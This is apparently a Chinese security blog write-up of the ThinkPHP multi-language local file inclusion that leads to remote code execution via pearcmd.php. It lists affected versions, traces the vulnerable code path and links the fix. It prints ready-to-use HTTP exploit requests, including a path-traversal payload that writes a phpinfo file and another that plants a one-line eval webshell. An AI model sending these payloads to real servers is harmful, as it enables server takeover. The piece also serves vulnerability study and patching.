XXXX年XX月XX日,ThinkPHP vX系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析。现在,对于云上未及时进行系统更新的用户,阿里云态势感知已提供攻击告警,WAF产品支持同步拦截,目前云上客户基本未受到影响。
近日,奇安信补天漏洞响应平台收到ThinkPHP X.0任意XXXX漏洞。该漏洞源于ThinkPHP X.0的某个逻辑漏洞,成功利用此漏洞的攻击者可以实现XXXXX,在特殊场景下可能会导致GetShell。
日前,Thinkphp被曝多语言模块命令执行漏洞,漏洞影响较大。ThinkPHP 是一个快速、简单的面向对象的轻量级 PHP 开发框架,创立于2006年初,遵循Apache2开源协议发布,是为了敏捷Web应用开发和简化企业应用开发而诞生的。
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,这个不被多说。ThinkPHP和laravel历来都被大家拿来比较,只不过区别就是一个国内体量大,另一个同样如此。哪怕一路上迭代有多坎坷,漏洞也是一点没少。现在有些项目还在用TP3.2或者更低版本,因为很多前后台代码可以复用,模型层懒得写,小项目复制粘贴CV+CV拼拼凑凑几天就出来了,大项目才去用TP5,Laravel,YII,phalcon,CI,zend,说到底不过是程序员也在被迫的去学习,对于每个生活在甜言蜜语的IT时代下的打工人,什么优雅开发,去他的妈妈。再优雅再便捷也没有复制粘贴全部替换来的快。为啥捏?大家都是[打工人],何必为难自己呢?无论做开发还是安全,绕来绕去,[人情世故]也正因为如此。可能世界上才没有绝对安全的系统吧。开发的转安全,怎么才能干过啊,赢麻了,这些是废话:
300万,吹牛逼,美图骑手外卖员,HW兼职干安全
ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越与文件包含组合拳的利用,通过pearcmd文件包含这个trick即可实现RCE。
6.0.1 < ThinkPHP ≤ 6.0.13
5.0.0 < ThinkPHP ≤ 5.0.12
5.1.0 < ThinkPHP ≤ 5.1.8
就是ThinkPHP有一处LFI,当它的多语言特性被开启时,我们可以使用lang这个参数来包含任意的PHP文件。虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,我们就可以包含/usr/local/lib/php/pearcmd.php并写入任意文件。这里主要是利用pearcmd.php这个pecl/pear中的文件。pecl是PHP中用于管理扩展而使用的命令行工具,可以理解为和compose差不多,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。不过pearcmd限制太多,还得没有open basedir,如果设置open basedir就包含不到了。
header="think_lang"
这个对于没有任何代码审计基础的新手能够熟练看清代码的执行过程,方便代码审计是比较有难度的。
推荐去菜鸟教程上把PHP过一遍,然后看看基础漏洞的审计,然后熟练使用Phpstorm + Xdebug 进行断点调试慢慢摸索就行
如何配置Phpstorm + Xdebug ?这里有三个比较详细的文章推荐大家去阅读
https://mp.weixin.qq.com/s/FO7iGgoicX28KriFLVR5xw
https://blog.csdn.net/yinhangbbbbb/article/details/79247331
https://chenchena.blog.csdn.net/article/details/119735941?spm=1001.2101.3001.6650.6&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-6-119735941-blog-80215535.pc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-6-119735941-blog-80215535.pc_relevant_recovery_v2&utm_relevant_index=11
这里我参考1nhann师傅的文章:https://tttang.com/archive/1865/#toc_thinkphp6
我就不一一截图并且说明了,我基础比较的差哈哈,我就直接拿1nhann师傅的过程来看看
调试环境:windows + php7.3 + thinkphp 6.0.12
首先第一步我们要打开多语言中间件:不清楚的去看开发手册
开始调试后访问:
http://127.0.0.1:82/?lang=../../../../../public/index
每个 middleware 的 handle()
函数都会被调用,这里断在 LoadLangPack.php
的 handle()
,直接在最开头调用 $langset = $this->detect($request);
:
ps:在中间件middle这里会调用handle()函数,查看被引用的地方发现是断在loadlangpack.php这里
跟进这个 detect()
,可以看到依次排查了 GET["lang"]
、HEADER["think-lang"]
、COOKIE["think_lang"]
,并且将其不做任何过滤,直接赋值给了 $langSet
:
可以看到GET["lang"] 、HEADER["think-lang"] 、COOKIE["think_lang"] ,其中不含过滤代码,直接就赋值给 $langSet ,所以langset 是可控的
然后默认情况下,即 allow_lang_list
这个配置为空,$langSet
被赋值给 $range
,而 $range
被返回:
回到 handle()
,如果返回的 $langset
不等于默认的 langset ,即 zh-cn
,那么就会调用 $this->lang->switchLangSet($langset)
,正是在这里面实现了 文件包含:
跟进 switchLangSet()
,可以看到调用了 $this->load()
,而传入的参数直接拼接而成,本例中传入的最终结果是 D:\var\www\think6\vendor\topthink\framework\src\lang\../../../../../index.php
:
跟进这个 load()
,可以看到直接将传入的参数作为文件名,先判断文件在不在,如果在就传入 parse()
中,进行文件包含:
跟进 parse()
,可以看到进行了文件包含:
既然可以通过目录穿越实现任意 php 文件的包含,那么用 pearcmd 文件包含这个 trick ,就能 RCE 了
将phpinfo写到网站根目录下
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shel1.php HTTP/1.1
Host: 192.168.10.141:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
如果服务器返回pearcmd的命令行执行结果,说明漏洞利用成功:
此时访问shel1.php即可发现已经成功写入文件:
GET /shel1.php HTTP/1.1
Host: 192.168.10.141:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
写入一句话
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<[email protected]eval($_REQUEST['666']);?>+666.php
注意header 、cookie 、query string 都可以作为 payload 的传入点,进行目录穿越 + pearcmd 文件包含,用的时候注意写入的位置
删除废弃方法 优化多语言检测
https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
关于pearcmd 文件包含的手法可以参考 P牛《Docker PHP裸文件本地包含的综述》:https://tttang.com/archive/1312/
还有关于php7.3 fuzz出来的无落地RCE,可以参考之前的文章多试试和看看。
从[HXBCTF 2021]easywill-1利用pearcmd从LFI到Getshell-LFI文件不落地RCE的学习